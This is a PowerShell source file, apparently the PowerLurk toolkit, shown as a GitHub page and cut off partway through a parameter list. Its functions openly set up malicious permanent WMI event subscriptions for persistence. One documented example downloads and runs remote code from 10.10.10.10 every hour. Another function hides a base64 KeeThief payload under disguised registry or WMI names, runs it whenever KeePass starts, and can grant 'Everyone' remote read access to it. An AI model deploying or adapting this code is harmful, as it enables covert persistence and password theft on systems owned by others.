Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

988 lines (725 sloc) 37.1 KB
function Get-WmiEvent {
<#
.SYNOPSIS
By default, Get-WmiEvent queries WMI for all __FilterToConsumerBinding instances and associated __EventFilter, and __EventConsumer instances.
.DESCRIPTION
This function will query and return all instances of the __FilterToConsumerBinding class and their associated __EventFilter and
__EventConsumer objects. Parameters are present to return any combination of these instances. It is also possible to filter by name using the -Name parameter.
.PARAMETER Binding
Indicates that WMI _FilterToConsumerBinding instances be returned.
.PARAMETER Consumer
Indicates that WMI event consumers are returned.
.PARAMETER Filter
Indicates that WMI event filters are returned.
.PARAMETER Name
Specifies the WMI event instance name to return.
.PARAMETER ComputerName
Specifies the remote computer system to add a permanent WMI event to. The default is the local computer.
Type the NetBIOS name, an IP address, or a fully qualified domain name (FQDN) of one or more computers. To specify the local computer, type the computer name, a dot (.), or localhost.
.PARAMETER Credential
The credential object used to authenticate to the remote system. If not specified, the current user instance will be used.
.EXAMPLE
PS C:\>Get-WMIEvent -Name TestEvent
This command will return all WMI event objects named 'TestEvent'.
.EXAMPLE
PS C:\>Get-WMIEvent -Consumer -Filter
This command will return all WMI event consumers and filters.
.EXAMPLE
PS C:\>Get-WMIEvent -Name TestEvent | Remove-WMIEvent
This command will return all WMI event objects with the name TestEvent.
.OUTPUTS
System.Management.ManagementBaseObject.ManagementObject
This cmdlet returns System.Management.ManagementBaseObject.ManagementObject objects.
#>
Param (
[Switch]
$Binding,
[String]
$ComputerName,
[Switch]
$Consumer,
[Management.Automation.PSCredential]
$Credential,
[Switch]
$Filter,
[String]
$Name
)
$Arguments = @{}
if ($ComputerName){
$Arguments['ComputerName'] = $ComputerName
if ($Credential){
$Arguments['Credential'] = $Credential
}
}
if ($Name){
$Arguments['Filter'] = "__RELPATH LIKE `"%$Name%`""
}
if (!$Binding -and !$Consumer -and !$Filter){
$Events = Get-WmiObject '__FilterToConsumerBinding' -Namespace root/subscription @Arguments
if ($Events){
foreach($Event in $Events){
$Event
$ConsumerId = $Event.Consumer
$FilterId = $Event.Filter
$Arguments['Filter'] = "__RELPATH='$ConsumerId'"
Get-WmiObject -Namespace root/subscription -Class $($ConsumerId.Split('.')[0]) @Arguments
$Arguments['Filter'] = "__RELPATH='$FilterId'"
Get-WmiObject -Namespace root/subscription -Class $($FilterId.Split('.')[0]) @Arguments
}
}
}
if($Binding){
Get-WmiObject -Class __FilterToConsumerBinding -Namespace root/subscription @Arguments
}
if($Consumer){
Get-WmiObject -Class __EventConsumer -Namespace root/subscription @Arguments
}
if($Filter){
Get-WmiObject -Class __EventFilter -Namespace root/subscription @Arguments
}
}
function Register-MaliciousWMIEvent {
<#
.SYNOPSIS
Registers a malicious WMI Event using predefinied triggers and a user provided action.
.DESCRIPTION
This cmdlet is the core of PowerLurk. It takes a command, script, or scriptblock as the action, and a precanned trigger, then creates the WMI Filter,
Consumer, and FilterToConsumerBinding required for a fully functional Permanent WMI Event Subscription. A number of WMI event triggers, or filters,
are preconfigured. The trigger must be specified with the -Trigger parameter. There are three consumers to choose from, PermanentCommand,
PermanentScript, and LocalScriptBLock.
.PARAMETER PermanentCommand
Indicates that an operating system command will be executed once the specified WMI event occurs. Provide a string or scriptblock
containing the command you would like to run.
.PARAMETER PermanentScript
Indicates that a provided Jscript or VBScript will run once a WMI event occurs. Provide a string or scriptblock containing
the script code you would like executed.
.PARAMETER LocalScriptBlock
Indicates that a provided local event scriptblock be executed once a WMI event occurs.
.PARAMETER Trigger
Specifies the event trigger (WMI Filter) to use. The options are InsertUSB, UserLogon, ProcessStart, Interval, and Timed. UserLogon is an extrinisic
event, so the event object is used with %TargetInstance.PropertyName% rather than %PropertyName% like the other instrinsic options.
.PARAMETER EventName
Specifies an arbitrary name to be assigned to the new permanent WMI event.
.PARAMETER UserName
Specifies the username that the UserLogon trigger will generate a WMI event. Use 'any' or '*' for any user logon.
.PARAMETER ProcessName
Specifies the process name when the ProcessStart trigger is selected (required).
.PARAMETER IntervalPeriod
Specifies the interval period, in seconds, when the Interval trigger is selected (required).
.PARAMETER ExecutionTime
Specifies the absolute time to generate a WMI event when the Timed trigger is selected (required).
.PARAMETER ComputerName
Specifies the remote computer system to add a permanent WMI event to. The default is the local computer.
Type the NetBIOS name, an IP address, or a fully qualified domain name (FQDN) of one or more computers. To specify the local computer, type the computer name, a dot (.), or localhost.
.PARAMETER Credential
The credential object used to authenticate to the remote system. If not specified, the current user instance will be used.
.EXAMPLE
PS C:\>Register-MaliciousWmiEvent -EventName KillProc -PermanentCommand "Powershell.exe -NoP -C `"Stop-Process -Id %ProcessId% -Force`"" -Trigger ProcessStart -ProcessName powershell.exe
This command creates a permanent WMI event that will kill the 'powershell.exe' process after it is started.
.EXAMPLE
$script = @’
Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="c:\temp\log.txt"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "%TargetInstance.ProcessName% started at PID %TargetInstance.ProcessId%" & vbCrLf
objFile.Close
‘@
PS C:\>Register-MaliciousWmiEvent -EventName KillProc -PermanentScript $script -Trigger ProcessStart -ProcessName powershell.exe
This command creates a permanent WMI event will execute a log the process name and ID to a log file using VBScript anytime powershell.exe starts.
.EXAMPLE
PS C:\>Register-MaliciousWmiEvent -EventName DLThumbdrive -PermanentScript $script -Trigger InsertUSB
This command creates a permanent WMI event will execute a script when a new volume is added to the target system, such as a USB storage device or mapped network drive.
.EXAMPLE
PS C:\>Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "cmd.exe /c echo %TargetInstance.Antecedent% >> c:\temp\log.txt" -Trigger UserLogon -Username any
This command creates a permanent WMI event save the Antecedent property of the target event instance, which contains the username and domain, to a log file anytime a user logs in.
.EXAMPLE
PS C:\>Register-MaliciousWmiEvent -EventName CheckIn -PermanentCommand "powershell.exe -NoP -C IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/checkin.html')" -Trigger Interval -IntervalPeriod 3600
This command creates a permanent WMI event that will perform Invoke-Expression on whatever is returned after a GET request to 'http://10.10.10.10/checkin.html' every 60 minutes.
.EXAMPLE
PS C:\>Register-MaliciousWmiEvent -EventName ExecuteSystemCheck -PermanentScript $script -Trigger Timed -ExecutionTime '07/07/2016 12:30pm'
This command creates a permanent WMI event execute a specified script at '07/07/2016 12:30pm'
.OUTPUTS
System.Management.ManagementBaseObject.ManagementObject
By default, this cmdlet returns a System.Management.ManagementBaseObject.ManagementObject.
#>
Param (
[String]
$ComputerName,
[Management.Automation.PSCredential]
$Credential,
[Parameter(ParameterSetName = 'LocalUserLogonSet')]
[Parameter(ParameterSetName = 'CommandUserLogonSet')]
[Parameter(ParameterSetName = 'ScriptUserLogonSet')]
[String]
[ValidateNotNullOrEmpty()]
$Domain,
[Parameter(Mandatory = $True, ParameterSetName = 'CommandInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandProcessStartSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalProcessStartSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptProcessStartSet')]
[String]
[ValidateNotNullOrEmpty()]
$EventName,
[Parameter(Mandatory = $True, ParameterSetName = 'CommandTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptTimedSet')]
[Datetime]
[ValidateNotNullOrEmpty()]
$ExecutionTime,
[Parameter(Mandatory = $True, ParameterSetName = 'CommandIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptIntervalSet')]
[Int32]
[ValidateNotNullOrEmpty()]
$IntervalPeriod,
[Parameter(Mandatory = $True, ParameterSetName = 'LocalInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalProcessStartSet')]
[ScriptBlock]
[ValidateNotNullOrEmpty()]
$LocalScriptBlock,
[Parameter(ParameterSetName = 'CommandUserLogonSet')]
[Parameter(ParameterSetName = 'LocalUserLogonSet')]
[Parameter(ParameterSetName = 'ScriptUserLogonSet')]
[ValidateSet('Interactive', 'Network')]
[String]
[ValidateNotNullOrEmpty()]
$LogonType,
[Parameter(Mandatory = $True, ParameterSetName = 'CommandProcessStartSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalProcessStartSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptProcessStartSet')]
[String]
[ValidateNotNullOrEmpty()]
$ProcessName,
[Parameter(Mandatory = $True, ParameterSetName = 'CommandInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandProcessStartSet')]
[String]
[ValidateNotNullOrEmpty()]
$PermanentCommand,
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptProcessStartSet')]
[String]
[ValidateNotNullOrEmpty()]
$PermanentScript,
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptProcessStartSet')]
[ValidateSet('VBScript', 'JScript')]
[String]
[ValidateNotNullOrEmpty()]
$ScriptingEngine,
[Parameter(ParameterSetName = 'CommandTimedSet')]
[Parameter(ParameterSetName = 'CommandIntervalSet')]
[Parameter(ParameterSetName = 'LocalTimedSet')]
[Parameter(ParameterSetName = 'LocalIntervalSet')]
[Parameter(ParameterSetName = 'ScriptTimedSet')]
[Parameter(ParameterSetName = 'ScriptIntervalSet')]
[String]
[ValidateNotNullOrEmpty()]
$TimerId = 'WindowsTimer',
[Parameter(Mandatory = $True, ParameterSetName = 'LocalInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'LocalProcessStartSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandProcessStartSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptInsertUSBSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptTimedSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptIntervalSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptProcessStartSet')]
[ValidateSet('InsertUSB', 'UserLogon', 'ProcessStart', 'Interval', 'Timed')]
[String]
[ValidateNotNullOrEmpty()]
$Trigger,
[Parameter(Mandatory = $True, ParameterSetName = 'LocalUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'CommandUserLogonSet')]
[Parameter(Mandatory = $True, ParameterSetName = 'ScriptUserLogonSet')]
[String]
[ValidateNotNullOrEmpty()]
$UserName
)
#Build optional argument splat if a remote system is specified
$Arguments = @{}
if ($ComputerName){
$Arguments['ComputerName'] = $ComputerName
if ($Credential){
$Arguments['Credential'] = $Credential
}
}
Switch ($Trigger){
'InsertUSB' {$Query = 'SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2'}
'UserLogon' {
if ($UserName -eq 'any' -or $UserName -eq '*'){
$Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
}else{
$Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser' AND TargetInstance.__RELPATH like `"%$Domain%$UserName%`""
}
}
'Interval' {
Set-WmiInstance -class '__IntervalTimerInstruction' -Arguments @{ IntervalBetweenEvents = ($IntervalPeriod * 1000); TimerId = $TimerId } | Out-Null
$Query = "Select * from __TimerEvent where TimerId = '$TimerId'"
}
'Timed' {
Set-WmiInstance -class '__AbsoluteTimerInstruction' -Arguments @{ EventDatetime = [System.Management.ManagementDateTimeConverter]::ToDmtfDateTime($ExecutionTime); TimerId = $TimerId } | Out-Null
$Query = "Select * from __TimerEvent where TimerId = '$TimerId'"
}
'ProcessStart' {
$Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='$ProcessName'"
}
#'LockedScreen' {$Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = 'LogonUI.exe'"}
}
# Consumer Setup, query, and variable assignment
switch -Wildcard ($PsCmdlet.ParameterSetName) {
# Build Command Line Consumer object if -Command is used
'Command*' {
$CommandConsumerArgs = @{
Name = $EventName
CommandLineTemplate = $PermanentCommand
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandConsumerArgs @Arguments
# Filter Setup, query, and variable assignment
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventName
Query = $Query
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs @Arguments
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
# Filter to Consumer Binding
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs @Arguments | Out-Null
}
# Build Active Script Consumer object if -Script is used
'Script*' {
$ScriptConsumerArgs = @{
Name = $EventName
ScriptText = $PermanentScript
ScriptingEngine = $ScriptingEngine
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class ActiveScriptEventConsumer -Arguments $ScriptConsumerArgs @Arguments
# Filter Setup, query, and variable assignment
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventName
Query = $Query
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs @Arguments
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
# Filter to Consumer Binding
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs @Arguments | Out-Null
}
# Build Local WMI Event
'Local*'{
$Arguments = @{
Query = $Query
Action = $LocalScriptBlock
SourceIdentifier = $EventName
}
Register-WmiEvent @Arguments
}
}
}
function Grant-WmiNameSpaceRead {
<#
.SYNOPSIS
Grants remote read access to 'Everyone' for a given WMI namespace.
Access can be revoked with Revoke-WmiNameSpaceRead.
Heavily adapted from Steve Lee's example code on MSDN, originally licenses.
Taken from @enigma0x3's PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM/blob/master/PowerSCCM.ps1).
.PARAMETER Namespace
Namespace to allow a read permission form.
.PARAMETER ComputerName
The computer to grant read access to the specified namespace on.
.PARAMETER Credential
A [Management.Automation.PSCredential] object to use for the remote connection.
.EXAMPLE
PS C:\> Grant-WmiNameSpaceRead -NameSpace 'root\Microsoft\Windows'
.EXAMPLE
PS C:\> $Cred = Get-Credential
PS C:\> Grant-WmiNameSpaceRead -NameSpace 'root\Microsoft\Windows' -ComputerName sccm.testlab -Credential $Cred
.LINK
http://blogs.msdn.com/b/wmi/archive/2009/07/27/scripting-wmi-namespace-security-part-3-of-3.aspx
http://vniklas.djungeln.se/2012/08/22/set-up-non-admin-account-to-access-wmi-and-performance-data-remotely-with-powershell/
#>
[CmdletBinding()]
param(
[String]
[ValidateNotNullOrEmpty()]
$NameSpace = 'root\Microsoft\Windows',
[String]
[ValidateNotNullOrEmpty()]
$ComputerName = ".",
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
# needed for non-DCs - add 'Everyone' to the 'Distributed COM Users' localgroup
$Group = [ADSI]("WinNT://$ComputerName/Distributed COM Users,group")
if ($PSBoundParameters.ContainsKey("Credential")) {
$Params = @{Namespace=$Namespace; Path="__systemsecurity=@"; ComputerName=$ComputerName; Credential=$Credential}
# alternate credentials for the adsi WinNT service provider
$Group.PsBase.Username = $Credential.Username
$Group.PsBase.Password = $Credential.GetNetworkCredential().Password
}
else {
$Params = @{Namespace=$Namespace; Path="__systemsecurity=@"; ComputerName=$ComputerName}
}
try {
# actually add 'Everyone' to 'Distributed COM Users'
$Group.Add("WinNT://everyone,user")
}
catch {
Write-Warning $_
}
$WmiObjectAcl = $(Invoke-WmiMethod -Name GetSecurityDescriptor @Params).Descriptor
# 33 = enable + remote access
$WmiAce = (New-Object System.Management.ManagementClass("win32_Ace")).CreateInstance()
$WmiAce.AccessMask = 33
$WmiAce.AceFlags = 0
$WmiTrustee = (New-Object System.Management.ManagementClass("win32_Trustee")).CreateInstance()
# sid of "S-1-1-0" = "Everyone"
$WmiTrustee.SidString = "S-1-1-0"
$WmiAce.Trustee = $WmiTrustee
$WmiAce.AceType = 0x0
$WmiObjectacl.DACL += $WmiAce.PSObject.ImmediateBaseObject
$Params += @{Name="SetSecurityDescriptor"; ArgumentList=$WmiObjectAcl.PSObject.ImmediateBaseObject}
$Output = Invoke-WmiMethod @Params
if ($Output.ReturnValue -ne 0) {
throw "SetSecurityDescriptor failed: $($Output.ReturnValue)"
}
}
function Revoke-WmiNameSpaceRead {
<#
.SYNOPSIS
Removes remote read access from 'Everyone' for a given WMI namespace that
was granted by Grant-WmiNameSpaceRead.
Heavily adapted from Steve Lee's example code on MSDN, originally licenses.
Taken from @enigma0x3's PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM/blob/master/PowerSCCM.ps1).
.PARAMETER Namespace
Namespace to allow a read permission form.
.PARAMETER ComputerName
The computer to revoke read access to the specified namespace on.
.PARAMETER Credential
A [Management.Automation.PSCredential] object to use for the remote connection.
.EXAMPLE
PS C:\> Revoke-WmiNameSpaceRead -NameSpace 'root\Microsoft\Windows'
.EXAMPLE
PS C:\> $Cred = Get-Credential
PS C:\> Revoke-WmiNameSpaceRead -NameSpace 'root\Microsoft\Windows' -ComputerName sccm.testlab -Credential $Cred
.LINK
http://blogs.msdn.com/b/wmi/archive/2009/07/27/scripting-wmi-namespace-security-part-3-of-3.aspx
http://vniklas.djungeln.se/2012/08/22/set-up-non-admin-account-to-access-wmi-and-performance-data-remotely-with-powershell/
#>
[CmdletBinding()]
param(
[String]
[ValidateNotNullOrEmpty()]
$NameSpace = 'root\Microsoft\Windows',
[String]
[ValidateNotNullOrEmpty()]
$ComputerName = ".",
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$Group = [ADSI]("WinNT://$ComputerName/Distributed COM Users,group")
if ($PSBoundParameters.ContainsKey("Credential")) {
$Params = @{Namespace=$Namespace; Path="__systemsecurity=@"; ComputerName=$ComputerName; Credential=$Credential}
$Group.PsBase.Username = $Credential.Username
$Group.PsBase.Password = $Credential.GetNetworkCredential().Password
}
else {
$Params = @{Namespace=$Namespace; Path="__systemsecurity=@"; ComputerName=$ComputerName}
}
# remove 'Everyone' from the 'Distributed COM Users' local group on the remote server
$Group.Remove("WinNT://everyone,user")
$WmiObjectAcl = $(Invoke-WmiMethod -Name GetSecurityDescriptor @Params).Descriptor
# remove the 'Everyone' ('S-1-1-0') DACL
$WmiObjectAcl.DACL = $WmiObjectAcl.DACL | Where-Object {$_.Trustee.SidString -ne 'S-1-1-0'} | ForEach-Object { $_.psobject.immediateBaseObject }
$Params += @{Name="SetSecurityDescriptor"; ArgumentList=$WmiObjectAcl.PSObject.ImmediateBaseObject}
$Output = Invoke-WmiMethod @Params
if ($Output.ReturnValue -ne 0) {
throw "SetSecurityDescriptor failed: $($Output.ReturnValue)"
}
}
function Add-TemplateLurker{
<#
.SYNOPSIS
Adds a permanent WMI event that utilizes either registry values or a custom WMI namespace and class to store encoded Powershell logic and its output.
.DESCRIPTION
Add-TemplateLurker creates a permanent WMI event that will execute a provided payload when
the '<processname>' process starts. The payload, base64 Powershell logic, and its output are either stored in a custom WMI namespace and class or regsitry values. If a custom
WMI namespace and class are selected, you have the option to expose that namespace so that it can be read remotely
by 'Everyone'. Registry path and value names are customizable using the associated Parameters; however, this is optional as
defaults are set.
.PARAMETER WMI
Indicates that a custom WMI class will be used for data storage.
.PARAMETER Registry
Indicates that athe registry will be used for data storage.
.PARAMETER ClassName
Indicates the name of the custom WMI class. Defaults to 'WindowsUpdate'.
.PARAMETER ExposeNamespace
Indicates that the custom WMI namespace will be exposed so that 'Everyone' can read the custom WMI class properties remotely.
.PARAMETER NamespaceName
Indicates the name of the custome WMI namespace. Defaults to 'ROOT\Software'.
.PARAMETER PayloadValueName
Indicates the name of the registry value used to store KeeThief logic. Defaults to 'DomainCertificate'.
.PARAMETER OutputValueName
Indicates the name of the registry value used to store KeeThief output. Defaults to 'ComputerCertificate'.
.PARAMETER RegistryPath
Indicates the name of the custome WMI class. Defaults to 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\'.
.PARAMETER EventName
Specifies the name to use for the WMI event.
.EXAMPLE
PS C:\>Add-TemplateLurker -EventName Lurker -WMI
This command will create a WMI event that uses a custom WMI class for storage.
.EXAMPLE
PS C:\>Add-TemplateLurker -EventName Lurker -Registry
This command will create a WMI event that uses the registry for storage.
.EXAMPLE
PS C:\>Add-TemplateLurker -EventName Lurker -WMI -NamespaceName root\cimv2\KeeThief -ExposeNamespace
This command will create a WMI event that uses a custom WMI class for storage at 'root\cimv2\KeeThief'. The data stored in this namespace
will be readable remotely by 'Everyone'
#>
Param (
[Parameter(ParameterSetName = 'WMI')]
[String]
$ClassName = 'WindowsUpdate',
[Parameter(Mandatory = $True, ParameterSetName = 'Registry')]
[Parameter(Mandatory = $True, ParameterSetName = 'WMI')]
[String]
$EventName,
[Parameter(ParameterSetName = 'WMI')]
[Switch]
$ExposeNamespace,
[Parameter(ParameterSetName = 'WMI')]
[String]
$NamespaceName = 'root\Software',
[Parameter(ParameterSetName = 'Registry')]
[String]
$OutputValueName = 'ComputerCertificate',
[Parameter(Mandatory = $True,ParameterSetName = 'Registry')]
[Switch]
$Registry,
[Parameter(ParameterSetName = 'Registry')]
[String]
$RegistryPath = "HKLM:\SOFTWARE\Microsoft\SystemCertificates\",
[Parameter(ParameterSetName = 'Registry')]
[String]
$PayloadValueName = 'DomainCertificate',
[Parameter(Mandatory = $True, ParameterSetName = 'WMI')]
[Switch]
$WMI
)
# Base64 encoded KeeThief functions
$Payload = "<INSERT VALUE>"
switch($PsCmdlet.ParameterSetName){
'WMI'{
# Create custome WMI namespace
$NSArray = $NamespaceName.Split('\')
$Namespace = [wmiclass]"$($NSArray[0..($NSArray.Length - 2)] -join '\'):__namespace"
$CustomNamespace = $Namespace.CreateInstance()
$CustomNamespace.Name = $NSArray[-1]
[void]$CustomNamespace.Put()
Write-Verbose "Namespace $NamespaceName Created"
# Expose namespace to 'Everyone' remotely
if($ExposeNamespace){
Grant-WmiNameSpaceRead -NameSpace $NamespaceName
}
# Create custom WMI class
$CustomClass = New-Object Management.ManagementClass("$NamespaceName", $null, $null)
$CustomClass.Name = "Win32_$ClassName"
$CustomClass.Properties.Add('Content', $Payload)
$CustomClass.Put() | Out-Null
Write-Verbose "Custom WMI Class Win32_$ClassName Created"
# Logic that is executed after the event is triggered.
$ConsumerLogic=
"`$CustomClass = Get-WmiObject -Namespace $NamespaceName -class Win32_$ClassName -List;
`$Payload = `$CustomClass.Properties['Content'].Value;
`$Output = Invoke-Expression -Command `$([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$Payload)));
`$OutputString = `$Output | Out-String;
`$EncodedOutput = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$OutputString));
`$CustomClass.Properties.Add('Output', `$EncodedOutput);
`$CustomClass.Put() | Out-Null"
# Registering WMI event
Register-MaliciousWmiEvent -EventName $EventName -PermanentCommand $ConsumerLogic -Trigger ProcessStart -ProcessName keepass.exe | Out-Null
Write-Verbose "WMI KeeTheifLurker '$EventName' Created."
# Cleanup command construction
$CleanupParameters = [System.Collections.ArrayList]@()
if($NamespaceName -ne 'Software'){
[void]$CleanupParameters.Add('-NamespaceName')
[void]$CleanupParameters.Add($NamespaceName)
}
if($ClassName -ne 'WindowsUpdate'){
[void]$CleanupParameters.Add('-ClassName')
[void]$CleanupParameters.Add($ClassName)
}
Write-Verbose "Cleanup Command: "
Write-Verbose "Remove-TemplateLurker -EventName $EventName -WMI $($CleanupParameters)"
}
'Registry'{
# Checking if provided registry path exists. It is created if it doesn't
if (!$RegistryPath){New-Item -Path $RegistryPath -Force | Out-Null}
# Create value that will hold KeeThief logic
New-ItemProperty -Path $RegistryPath -Name $PayloadValueName -Value $Payload -PropertyType MultiString -Force | Out-Null
Write-Verbose "Registry Value $RegistryValueName Created At $RegistryPath"
# Logic that is executed after the event is triggered
$ConsumerLogic=
"`$RegistryPath = '$RegistryPath';
`$Payload = `$(Get-ItemProperty -Path `$RegistryPath -Name $PayloadValueName).$PayloadValueName;
`$Output = Invoke-Expression -Command `$([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$Payload)));
`$OutputString = `$Output | Out-String;
`$EncodedOutput = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$OutputString));
New-ItemProperty -Path `$RegistryPath -Name $OutputValueName -Value `$EncodedOutput -PropertyType MultiString -Force | Out-Null"
# Registering WMI event
Register-MaliciousWmiEvent -EventName $EventName -PermanentCommand $ConsumerLogic -Trigger ProcessStart -ProcessName keepass.exe | Out-Null
Write-Verbose "Registry KeeTheifLurker '$EventName' Created"
# Cleanup command construction
$CleanupParameters = [System.Collections.ArrayList]@()
if($PayloadValueName -ne 'DomainCertificate'){
[void]$CleanupParameters.Add('-PayloadValueName')
[void]$CleanupParameters.Add($PayloadValueName)
}
if($OutputValueName -ne 'ComputerCertificate'){
[void]$CleanupParameters.Add('-OutputValueName')
[void]$CleanupParameters.Add($OutputValueName)
}
if($RegistryPath -ne 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\'){
[void]$CleanupParameters.Add('-RegistryPath')
[void]$CleanupParameters.Add($RegistryPath)
}
Write-Verbose "Cleanup Command: "
Write-Verbose "Remove-TemplateLurker -EventName $EventName -Registry $($CleanupParameters)"
}
}
}
function Remove-TemplateLurker{
<#
.SYNOPSIS
Removes formerly added TemplateLurker.
.DESCRIPTION
Remove-TemplateLurker deletes the permanent WMI event and associated filter and consumer. It also removes registry or
WMI storage components. In order to do this, the same arguments must be pass to this cmdlet as they were when creating
the TemplateLurker.
.PARAMETER WMI
Indicates that a custom WMI class was used for data storage.
.PARAMETER Registry
Indicates that the registry was used for data storage.
.PARAMETER ClassName
Indicates the a non-default WMI class name was specified.
.PARAMETER ExposeNamespace
Indicates the WMI namespace was exposed.
.PARAMETER NamespaceName
Indicates the a non-default WMI namespace name was specified.
.PARAMETER PayloadValueName
Indicates the a non-default registry payload value name was specified.
.PARAMETER OutputValueName
Indicates the a non-default registry output value name was specified.
.PARAMETER RegistryPath
Indicates the a non-default registry path was specified.
.PARAMETER EventName
Specifies the name that was used for the WMI event.
.EXAMPLE
PS C:\>Remove-TemplateLurker -EventName Lurker -WMI
This command will remove the WMI event and the custom WMI namespace/class.
.EXAMPLE
PS C:\>Remove-TemplateLurker -EventName Lurker -Registry
This command will remove ther WMI event and the storage in registry.
.EXAMPLE
PS C:\>Remove-TemplateLurker -EventName Lurker -WMI -NamespaceName root\cimv2\KeeThief -ExposeNamespace
This command will remove the WMI event and the custom WMI namespace/class. Read access to 'Everyone' will
be revoked.
#>
Param (
[Parameter(ParameterSetName = 'WMI')]
[String]
$ClassName = 'WindowsUpdate',
[Parameter(Mandatory = $True, ParameterSetName = 'Registry')]
[Parameter(Mandatory = $True, ParameterSetName = 'WMI')]
[String]
$EventName,
[Parameter(ParameterSetName = 'WMI')]
[Switch]
$ExposeNamespace,
[Parameter(ParameterSetName = 'WMI')]
[String]
